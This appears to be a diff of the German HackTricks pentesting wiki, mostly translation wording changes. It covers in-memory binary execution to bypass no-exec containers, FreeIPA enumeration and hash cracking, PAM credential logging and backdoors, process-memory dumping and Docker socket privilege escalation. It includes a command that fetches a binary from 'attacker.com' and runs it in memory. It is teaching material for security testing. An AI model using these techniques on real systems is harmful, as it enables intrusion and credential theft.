+Allerdings, selbst wenn das Dateisystem als ro gemountet ist, bleibt **`/dev/shm`** beschreibbar, sodass es nicht wahr ist, dass wir nichts auf die Festplatte schreiben können. Diese Ordner werden jedoch **mit no-exec-Schutz** gemountet, sodass Sie hier eine Binärdatei herunterladen, aber **nicht ausführen können**.
 
 > [!WARNING]
 > Aus der Perspektive eines Red Teams macht dies das **Herunterladen und Ausführen** von Binärdateien, die sich nicht bereits im System befinden (wie Backdoors oder Enumerator wie `kubectl`), **kompliziert**.
@@ -35,7 +35,7 @@ Allerdings, selbst wenn das Dateisystem als ro gemountet ist, bleibt **`/dev/shm
 
 Beachten Sie, dass ich von Binärdateien gesprochen habe, Sie können **jedes Skript ausführen**, solange der Interpreter auf der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python** **Skript**, wenn `python` installiert ist.
 
-Allerdings reicht das nicht aus, um Ihre Binär-Backdoor oder andere Binärwerkzeuge auszuführen, die Sie möglicherweise benötigen.
+Allerdings reicht dies nicht aus, um Ihre Binär-Backdoor oder andere Binärwerkzeuge auszuführen, die Sie möglicherweise benötigen.
 
 ## Memory Bypasses
 
@@ -45,16 +45,16 @@ Wenn Sie eine Binärdatei ausführen möchten, aber das Dateisystem dies nicht z
 
 Wenn Sie einige leistungsstarke Skript-Engines auf der Maschine haben, wie **Python**, **Perl** oder **Ruby**, könnten Sie die Binärdatei herunterladen, um sie aus dem Speicher auszuführen, sie in einem Speicher-Dateideskriptor (`create_memfd` syscall) speichern, der nicht durch diese Schutzmaßnahmen geschützt ist, und dann einen **`exec` syscall** aufrufen, der den **fd als die auszuführende Datei angibt**.
 
-Dafür können Sie leicht das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache generiert, das die **Binärdatei komprimiert und b64 kodiert** mit den Anweisungen, um **es zu dekodieren und zu dekomprimieren** in einem **fd**, der durch den Aufruf des `create_memfd` syscalls erstellt wurde, und einem Aufruf des **exec** syscalls, um es auszuführen.
+Dafür können Sie leicht das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Sie können ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache generiert, das die **Binärdatei komprimiert und b64-kodiert** mit den Anweisungen, um sie in einem **fd** zu **dekodieren und zu dekomprimieren**, das durch den Aufruf des `create_memfd` syscalls erstellt wurde, und einen Aufruf des **exec** syscalls, um es auszuführen.
 
 > [!WARNING]
-> Dies funktioniert nicht in anderen Skriptsprache wie PHP oder Node, da sie keine **Standardmethode haben, um rohe Syscalls** aus einem Skript aufzurufen, sodass es nicht möglich ist, `create_memfd` aufzurufen, um den **Speicher-fd** zu erstellen, um die Binärdatei zu speichern.
+> Dies funktioniert nicht in anderen Skriptsprache wie PHP oder Node, da sie keine **Standardmethode haben, um rohe Syscalls** aus einem Skript aufzurufen, sodass es nicht möglich ist, `create_memfd` aufzurufen, um den **Speicher fd** zu erstellen, um die Binärdatei zu speichern.
 >
-> Darüber hinaus funktioniert das Erstellen eines **regulären fds** mit einer Datei in `/dev/shm` nicht, da Sie es nicht ausführen dürfen, da der **no-exec-Schutz** gilt.
+> Darüber hinaus wird das Erstellen eines **regulären fd** mit einer Datei in `/dev/shm` nicht funktionieren, da Sie es nicht ausführen dürfen, da der **no-exec-Schutz** gilt.
 
 ### DDexec / EverythingExec
 
-[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ist eine Technik, die es Ihnen ermöglicht, **den Speicher Ihres eigenen Prozesses zu modifizieren**, indem Sie dessen **`/proc/self/mem`** überschreiben.
+[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) ist eine Technik, die es Ihnen ermöglicht, **den Speicher Ihres eigenen Prozesses** zu modifizieren, indem Sie dessen **`/proc/self/mem`** überschreiben.
 
 Daher können Sie, indem Sie **den Assembly-Code** steuern, der vom Prozess ausgeführt wird, einen **Shellcode** schreiben und den Prozess "mutieren", um **beliebigen Code auszuführen**.
 
@@ -64,7 +64,7 @@ Daher können Sie, indem Sie **den Assembly-Code** steuern, der vom Prozess ausg
 # Basic example
 wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
 ```
-Für weitere Informationen zu dieser Technik, überprüfen Sie das Github oder:
+Für weitere Informationen zu dieser Technik, siehe das Github oder:
 
 {{#ref}}
 ddexec.md
@@ -74,7 +74,7 @@ ddexec.md
 
 [**Memexec**](https://github.com/arget13/memexec) ist der natürliche nächste Schritt von DDexec. Es ist ein **DDexec Shellcode demonisiert**, sodass Sie jedes Mal, wenn Sie **eine andere Binärdatei ausführen** möchten, DDexec nicht neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann **mit diesem Dämon kommunizieren, um neue Binärdateien zu laden und auszuführen**.
 
-Sie finden ein Beispiel, wie Sie **memexec verwenden, um Binärdateien von einem PHP-Reverse-Shell auszuführen** unter [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
+Ein Beispiel, wie man **memexec verwendet, um Binärdateien von einem PHP-Reverse-Shell auszuführen**, finden Sie unter [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
 
 ### Memdlopen
 
@@ -84,7 +84,7 @@ Mit einem ähnlichen Zweck wie DDexec ermöglicht die [**memdlopen**](https://gi
 
 ### Was ist distroless
 
-Distroless-Container enthalten nur die **minimalen Komponenten, die erforderlich sind, um eine bestimmte Anwendung oder einen Dienst auszuführen**, wie Bibliotheken und Laufzeitabhängigkeiten, schließen jedoch größere Komponenten wie einen Paketmanager, eine Shell oder Systemdienstprogramme aus.
+Distroless-Container enthalten nur die **minimalen Komponenten, die notwendig sind, um eine bestimmte Anwendung oder Dienst auszuführen**, wie Bibliotheken und Laufzeitabhängigkeiten, schließen jedoch größere Komponenten wie einen Paketmanager, eine Shell oder Systemdienstprogramme aus.
 
 Das Ziel von Distroless-Containern ist es, die **Angriffsfläche von Containern zu reduzieren, indem unnötige Komponenten eliminiert** und die Anzahl der ausnutzbaren Schwachstellen minimiert wird.
 
@@ -105,7 +105,6 @@ Wenn es **keine `read-only/no-exec`**-Schutzmaßnahmen gibt, könnten Sie Ihre R
 > [!TIP]
 > In dieser Art von Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die **vorherigen Techniken zur Ausführung im Speicher verwenden, um sie zu umgehen**.
 
-Sie finden **Beispiele**, wie Sie **einige RCE-Schwachstellen ausnutzen** können, um Skriptsprache **Reverse Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
+Sie finden **Beispiele**, wie man **einige RCE-Schwachstellen ausnutzt**, um Skriptsprache **Reverse Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
-
 
 {{#include ../../../banners/hacktricks-training.md}}

src/linux-hardening/freeipa-pentesting.md

@@ -4,7 +4,7 @@
 
 ## Grundinformationen
 
-FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges **LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für eine Verwaltung ähnlich wie bei Active Directory. Es nutzt das Dogtag **Zertifikatssystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert.
+FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges **LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für eine Verwaltung ähnlich wie bei Active Directory. Es nutzt das Dogtag **Zertifikatsystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert.
 
 ## Fingerabdrücke
 
@@ -60,7 +60,7 @@ Standardmäßig erlaubt der LDAP-Server in FreeIPA **anonyme Bindungen**, und ei
 ```
 ldapsearch -x
 ```
-Um **mehr Informationen** zu erhalten, müssen Sie eine **authentifizierte** Sitzung verwenden (siehe den Abschnitt Authentifizierung, um zu erfahren, wie Sie eine authentifizierte Sitzung vorbereiten).
+Um **mehr Informationen** zu erhalten, müssen Sie eine **authentifizierte** Sitzung verwenden (überprüfen Sie den Abschnitt zur Authentifizierung, um zu erfahren, wie Sie eine authentifizierte Sitzung vorbereiten).
 ```bash
 # Get all users of domain
 ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@@ -89,20 +89,20 @@ ipa host-find <host> --all
 ipa hostgroup-show <host group> --all
 ```
 > [!TIP]
-> Der **admin**-Benutzer von **FreeIPA** entspricht den **Domain-Admins** aus **AD**.
+> Der **admin** Benutzer von **FreeIPA** entspricht den **Domain-Admins** aus **AD**.
 
 ### Hashes <a href="#id-482b" id="id-482b"></a>
 
-Der **root**-Benutzer des **IPA-Servers** hat Zugriff auf die Passwort-**Hashes**.
+Der **root** Benutzer des **IPA-Servers** hat Zugriff auf die Passwort-**Hashes**.
 
-- Der Passwort-Hash eines Benutzers wird als **base64** im Attribut “**userPassword**” gespeichert. Dieser Hash kann **SSHA512** (alte Versionen von FreeIPA) oder **PBKDF2_SHA256** sein.
+- Der Passwort-Hash eines Benutzers wird als **base64** im “**userPassword**” **Attribut** gespeichert. Dieser Hash kann **SSHA512** (alte Versionen von FreeIPA) oder **PBKDF2_SHA256** sein.
-- Der **Nthash** des Passworts wird als **base64** in “**ipaNTHash**” gespeichert, wenn das System mit **AD** integriert ist.
+- Der **Nthash** des Passworts wird als **base64** in “**ipaNTHash**” gespeichert, wenn das System mit **AD** **integriert** ist.
 
 Um diese Hashes zu knacken:
 
 • Wenn FreeIPA mit AD integriert ist, ist **ipaNTHash** leicht zu knacken: Sie sollten **base64** dekodieren -> es als **ASCII**-Hex neu kodieren -> John The Ripper oder **hashcat** können Ihnen helfen, es schnell zu knacken.
 
-• Wenn eine alte Version von FreeIPA verwendet wird, wird **SSHA512** verwendet: Sie sollten **base64** dekodieren -> SSHA512-**Hash** finden -> John The Ripper oder **hashcat** können Ihnen helfen, es zu knacken.
+• Wenn eine alte Version von FreeIPA verwendet wird, wird **SSHA512** verwendet: Sie sollten **base64** dekodieren -> SSHA512 **Hash** finden -> John The Ripper oder **hashcat** können Ihnen helfen, es zu knacken.
 
 • Wenn eine neue Version von FreeIPA verwendet wird, wird **PBKDF2_SHA256** verwendet: Sie sollten **base64** dekodieren -> PBKDF2_SHA256 finden -> seine **Länge** beträgt 256 Byte. John kann mit 256 Bits (32 Byte) arbeiten -> SHA-265 wird als Pseudo-Zufallsfunktion verwendet, die Blockgröße beträgt 32 Byte -> Sie können nur die ersten 256 Bits unseres PBKDF2_SHA256-Hashes verwenden -> John The Ripper oder hashcat können Ihnen helfen, es zu knacken.
 
@@ -125,7 +125,7 @@ ipa hbacrule-show <hbacrule> --all
 ```
 #### Sudo-Rules
 
-FreeIPA ermöglicht die zentrale Kontrolle über **sudo permissions** über sudo-rules. Diese Regeln erlauben oder beschränken die Ausführung von Befehlen mit sudo auf Hosts innerhalb der Domäne. Ein Angreifer könnte potenziell die anwendbaren Hosts, Benutzer und erlaubten Befehle identifizieren, indem er diese Regelsets untersucht.
+FreeIPA ermöglicht die zentrale Kontrolle über **sudo permissions** durch sudo-rules. Diese Regeln erlauben oder beschränken die Ausführung von Befehlen mit sudo auf Hosts innerhalb der Domäne. Ein Angreifer könnte potenziell die anwendbaren Hosts, Benutzer und erlaubten Befehle identifizieren, indem er diese Regelsets untersucht.
 ```bash
 # Enumerate using ldap
 ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@@ -170,7 +170,7 @@ In [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405
 ### ~~root Benutzererstellung~~
 
 > [!WARNING]
-> Wenn Sie **einen neuen Benutzer mit dem Namen `root` erstellen können**, können Sie ihn impersonifizieren und Sie werden in der Lage sein, **SSH in jede Maschine als root zu machen.**
+> Wenn Sie **einen neuen Benutzer mit dem Namen `root` erstellen können**, können Sie ihn impersonifizieren und Sie werden in der Lage sein, **SSH als root auf jede Maschine zuzugreifen.**
 >
 > **DAS WURDE BEHOBEN.**
 

src/linux-hardening/linux-post-exploitation/README.md

@@ -18,7 +18,7 @@ Pluggable Authentication Modules (PAM) bieten Flexibilität bei der Verwaltung d
 **Erfassung von Anmeldeinformationen:**
 
 - Ein Bash-Skript namens `toomanysecrets.sh` wird erstellt, um Anmeldeversuche zu protokollieren, wobei das Datum, der Benutzername (`$PAM_USER`), das Passwort (über stdin) und die IP des Remote-Hosts (`$PAM_RHOST`) in `/var/log/toomanysecrets.log` erfasst werden.
-- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) integriert, indem das Modul `pam_exec.so` mit Optionen verwendet wird, um leise auszuführen und das Authentifizierungstoken an das Skript weiterzugeben.
+- Das Skript wird ausführbar gemacht und in die PAM-Konfiguration (`common-auth`) integriert, indem das Modul `pam_exec.so` mit Optionen verwendet wird, um leise zu laufen und das Authentifizierungstoken an das Skript weiterzugeben.
 - Der Ansatz zeigt, wie ein kompromittierter Linux-Host ausgenutzt werden kann, um Anmeldeinformationen diskret zu protokollieren.
 ```bash
 #!/bin/sh
@@ -48,6 +48,6 @@ Das Pluggable Authentication Module (PAM) ist ein System, das unter Linux zur Be
 - Der Zugriff wird über verschiedene Dienste (Anmeldung, ssh, sudo, su, Bildschirmschoner) mit dem vordefinierten Passwort gewährt, während die normalen Authentifizierungsprozesse unbeeinflusst bleiben.
 
 > [!TIP]
-> Sie können diesen Prozess mit [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) automatisieren
+> Sie können diesen Prozess automatisieren mit [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
 
 {{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/README.md

@@ -169,32 +169,32 @@ ps aux
 ps -ef
 top -n 1
 ```
-Überprüfen Sie immer, ob mögliche [**electron/cef/chromium debuggers**] laufen, die Sie missbrauchen könnten, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect` Parameter in der Befehlszeile des Prozesses überprüft.\
+Immer nach möglichen [**electron/cef/chromium debuggers** suchen, die laufen, du könntest sie missbrauchen, um Privilegien zu eskalieren](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es den `--inspect` Parameter in der Befehlszeile des Prozesses überprüft.\
-Überprüfen Sie auch **Ihre Berechtigungen über die Binärdateien der Prozesse**, vielleicht können Sie etwas überschreiben.
+Überprüfe auch **deine Berechtigungen über die Binärdateien der Prozesse**, vielleicht kannst du etwas überschreiben.
 
 ### Prozessüberwachung
 
-Sie können Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Dies kann sehr nützlich sein, um anfällige Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Anforderungen erfüllt sind.
+Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Dies kann sehr nützlich sein, um anfällige Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Anforderungen erfüllt sind.
 
 ### Prozessspeicher
 
 Einige Dienste eines Servers speichern **Anmeldeinformationen im Klartext im Speicher**.\
-Normalerweise benötigen Sie **Root-Rechte**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören, daher ist dies normalerweise nützlicher, wenn Sie bereits Root sind und mehr Anmeldeinformationen entdecken möchten.\
+Normalerweise benötigst du **Root-Rechte**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören, daher ist dies normalerweise nützlicher, wenn du bereits Root bist und mehr Anmeldeinformationen entdecken möchtest.\
-Denken Sie jedoch daran, dass **Sie als regulärer Benutzer den Speicher der Prozesse, die Sie besitzen, lesen können**.
+Denke jedoch daran, dass **du als regulärer Benutzer den Speicher der Prozesse, die du besitzt, lesen kannst**.
 
 > [!WARNING]
-> Beachten Sie, dass die meisten Maschinen heutzutage **ptrace standardmäßig nicht zulassen**, was bedeutet, dass Sie keine anderen Prozesse, die Ihrem unprivilegierten Benutzer gehören, dumpen können.
+> Beachte, dass die meisten Maschinen heutzutage **ptrace standardmäßig nicht erlauben**, was bedeutet, dass du keine anderen Prozesse dumpen kannst, die deinem unprivilegierten Benutzer gehören.
 >
 > Die Datei _**/proc/sys/kernel/yama/ptrace_scope**_ steuert die Zugänglichkeit von ptrace:
 >
 > - **kernel.yama.ptrace_scope = 0**: Alle Prozesse können debuggt werden, solange sie die gleiche UID haben. Dies ist die klassische Art, wie ptracing funktionierte.
 > - **kernel.yama.ptrace_scope = 1**: Nur ein übergeordneter Prozess kann debuggt werden.
-> - **kernel.yama.ptrace_scope = 2**: Nur der Administrator kann ptrace verwenden, da dies die CAP_SYS_PTRACE Fähigkeit erfordert.
+> - **kernel.yama.ptrace_scope = 2**: Nur Admin kann ptrace verwenden, da es die CAP_SYS_PTRACE Fähigkeit erfordert.
-> - **kernel.yama.ptrace_scope = 3**: Es dürfen keine Prozesse mit ptrace verfolgt werden. Ein Neustart ist erforderlich, um das ptracing wieder zu aktivieren, sobald es festgelegt ist.
+> - **kernel.yama.ptrace_scope = 3**: Keine Prozesse dürfen mit ptrace verfolgt werden. Ein Neustart ist erforderlich, um das ptracing wieder zu aktivieren, sobald es eingestellt ist.
 
 #### GDB
 
-Wenn Sie Zugriff auf den Speicher eines FTP-Dienstes (zum Beispiel) haben, könnten Sie den Heap abrufen und nach seinen Anmeldeinformationen suchen.
+Wenn du Zugriff auf den Speicher eines FTP-Dienstes (zum Beispiel) hast, könntest du den Heap abrufen und nach seinen Anmeldeinformationen suchen.
 ```bash
 gdb -p <FTP_PROCESS_PID>
 (gdb) info proc mappings
@@ -216,7 +216,7 @@ done
 ```
 #### /proc/$pid/maps & /proc/$pid/mem
 
-Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; es zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudodatei **stellt den Speicher der Prozesse selbst zur Verfügung**. Aus der **maps**-Datei wissen wir, welche **Speicherregionen lesbar sind** und deren Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu suchen und alle lesbaren Regionen** in eine Datei zu dumpen.
+Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; es zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudodatei **stellt den Speicher der Prozesse selbst zur Verfügung**. Aus der **maps** Datei wissen wir, welche **Speicherregionen lesbar sind** und deren Offsets. Wir verwenden diese Informationen, um **in die mem-Datei zu suchen und alle lesbaren Regionen** in eine Datei zu dumpen.
 ```bash
 procdump()
 (
@@ -298,7 +298,7 @@ Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu
 | LightDM (Ubuntu Desktop)                          | lightdm              |
 | VSFTPd (Aktive FTP-Verbindungen)                  | vsftpd               |
 | Apache2 (Aktive HTTP-Basic-Auth-Sitzungen)       | apache2              |
-| OpenSSH (Aktive SSH-Sitzungen - Sudo-Nutzung)     | sshd:                |
+| OpenSSH (Aktive SSH-Sitzungen - Sudo-Nutzung)    | sshd:                |
 
 #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
 ```bash
@@ -391,11 +391,11 @@ Beachten Sie, dass Sie, wenn Sie **Schreibberechtigungen für Binärdateien habe
 
 ### systemd PATH - Relative Pfade
 
-Sie können den von **systemd** verwendeten PATH mit:
+Sie können den von **systemd** verwendeten PATH mitsehen:
 ```bash
 systemctl show-environment
 ```
-Wenn Sie feststellen, dass Sie in einem der Ordner des Pfades **schreiben** können, könnten Sie in der Lage sein, **Privilegien zu eskalieren**. Sie müssen nach **relativen Pfaden suchen, die in den Konfigurationsdateien von Diensten verwendet werden**, wie:
+Wenn Sie feststellen, dass Sie in einem der Ordner des Pfades **schreiben** können, könnten Sie in der Lage sein, **Privilegien zu eskalieren**. Sie müssen nach **relativen Pfaden suchen, die in Dienstkonfigurations**dateien verwendet werden, wie:
 ```bash
 ExecStart=faraday-server
 ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
@@ -426,7 +426,7 @@ In der Dokumentation können Sie lesen, was die Einheit ist:
 Daher müssten Sie, um diese Berechtigung auszunutzen:
 
 - Eine systemd-Einheit (wie eine `.service`) finden, die **eine beschreibbare Binärdatei ausführt**
-- Eine systemd-Einheit finden, die **einen relativen Pfad ausführt** und über **schreibbare Berechtigungen** über den **systemd PATH** verfügt (um diese ausführbare Datei zu impersonifizieren)
+- Eine systemd-Einheit finden, die **einen relativen Pfad ausführt** und über **schreibbare Berechtigungen** über den **systemd-PFAD** verfügt (um diese ausführbare Datei zu impersonifizieren)
 
 **Erfahren Sie mehr über Timer mit `man systemd.timer`.**
 
@@ -441,17 +441,17 @@ Beachten Sie, dass der **Timer** durch das Erstellen eines Symlinks zu ihm in `/
 
 ## Sockets
 
-Unix Domain Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
+Unix-Domain-Sockets (UDS) ermöglichen die **Prozesskommunikation** auf denselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die intercomputerliche Kommunikation und werden über `.socket`-Dateien eingerichtet.
 
 Sockets können mit `.socket`-Dateien konfiguriert werden.
 
 **Erfahren Sie mehr über Sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden:
 
 - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen sind unterschiedlich, aber eine Zusammenfassung wird verwendet, um **anzuzeigen, wo es auf den Socket hören wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6 und/oder Portnummer, auf die gehört werden soll, usw.)
-- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erzeugt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst an die gestartete Service-Einheit **übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
+- `Accept`: Nimmt ein boolesches Argument. Wenn **wahr**, wird für jede eingehende Verbindung eine **Service-Instanz erzeugt** und nur der Verbindungs-Socket wird an sie übergeben. Wenn **falsch**, werden alle hörenden Sockets selbst **an die gestartete Service-Einheit übergeben**, und es wird nur eine Service-Einheit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Einheit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig auf falsch.** Aus Leistungsgründen wird empfohlen, neue Daemons nur so zu schreiben, dass sie für `Accept=no` geeignet sind.
-- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nachdem** die hörenden **Sockets**/FIFOs **erstellt** und gebunden wurden, **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
+- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die **vor** oder **nach** dem Erstellen und Binden der hörenden **Sockets**/FIFOs **ausgeführt** werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
-- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nachdem** die hörenden **Sockets**/FIFOs **geschlossen** und entfernt wurden, **ausgeführt** werden.
+- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die **vor** oder **nach** dem Schließen und Entfernen der hörenden **Sockets**/FIFOs **ausgeführt** werden.
-- `Service`: Gibt den Namen der **Service**-Einheit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Sie wird standardmäßig auf den Service gesetzt, der denselben Namen wie der Socket trägt (mit dem ersetzten Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
+- `Service`: Gibt den Namen der **Service**-Einheit an, die **bei eingehendem Verkehr aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no zulässig. Standardmäßig wird der Service verwendet, der denselben Namen wie der Socket trägt (mit dem ersetzten Suffix). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.
 
 ### Schreibbare .socket-Dateien
 
@@ -460,7 +460,7 @@ _Beachten Sie, dass das System diese Socket-Dateikonfiguration verwenden muss, o
 
 ### Schreibbare Sockets
 
-Wenn Sie **irgendeinen schreibbaren Socket** identifizieren (_jetzt sprechen wir über Unix-Sockets und nicht über die Konfigurations-.socket-Dateien_), dann **können Sie mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen.
+Wenn Sie **irgendeinen schreibbaren Socket identifizieren**, (_jetzt sprechen wir über Unix-Sockets und nicht über die Konfigurations-.socket-Dateien_), dann **können Sie mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen.
 
 ### Unix-Sockets auflisten
 ```bash
@@ -492,7 +492,7 @@ Wenn der Socket **mit einer HTTP**-Anfrage antwortet, können Sie **mit ihm komm
 
 ### Schreibbarer Docker-Socket
 
-Der Docker-Socket, der häufig unter `/var/run/docker.sock` zu finden ist, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er für den Benutzer `root` und Mitglieder der Gruppe `docker` schreibbar. Der Besitz von Schreibzugriff auf diesen Socket kann zu einer Privilegieneskalation führen. Hier ist eine Übersicht, wie dies geschehen kann und alternative Methoden, falls die Docker-CLI nicht verfügbar ist.
+Der Docker-Socket, der häufig unter `/var/run/docker.sock` zu finden ist, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er für den `root`-Benutzer und Mitglieder der `docker`-Gruppe schreibbar. Der Besitz von Schreibzugriff auf diesen Socket kann zu einer Privilegieneskalation führen. Hier ist eine Übersicht, wie dies geschehen kann und alternative Methoden, falls die Docker-CLI nicht verfügbar ist.
 
 #### **Privilegieneskalation mit Docker-CLI**
 
@@ -535,11 +535,11 @@ Connection: Upgrade
 Upgrade: tcp
 ```
 
-Nachdem die `socat`-Verbindung eingerichtet ist, können Sie Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausführen.
+Nachdem Sie die `socat`-Verbindung eingerichtet haben, können Sie Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausführen.
 
 ### Andere
 
-Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker` sind**, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker-API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Beachten Sie, dass Sie, wenn Sie Schreibberechtigungen über den Docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, [**mehr Möglichkeiten zur Eskalation von Rechten haben**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**Docker-API an einem Port lauscht**, können Sie sie möglicherweise ebenfalls kompromittieren](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
 
 Überprüfen Sie **weitere Möglichkeiten, aus Docker auszubrechen oder es zu missbrauchen, um Privilegien zu eskalieren** in:
 
@@ -570,13 +570,13 @@ runc-privilege-escalation.md
 
 D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC) System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
 
-Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
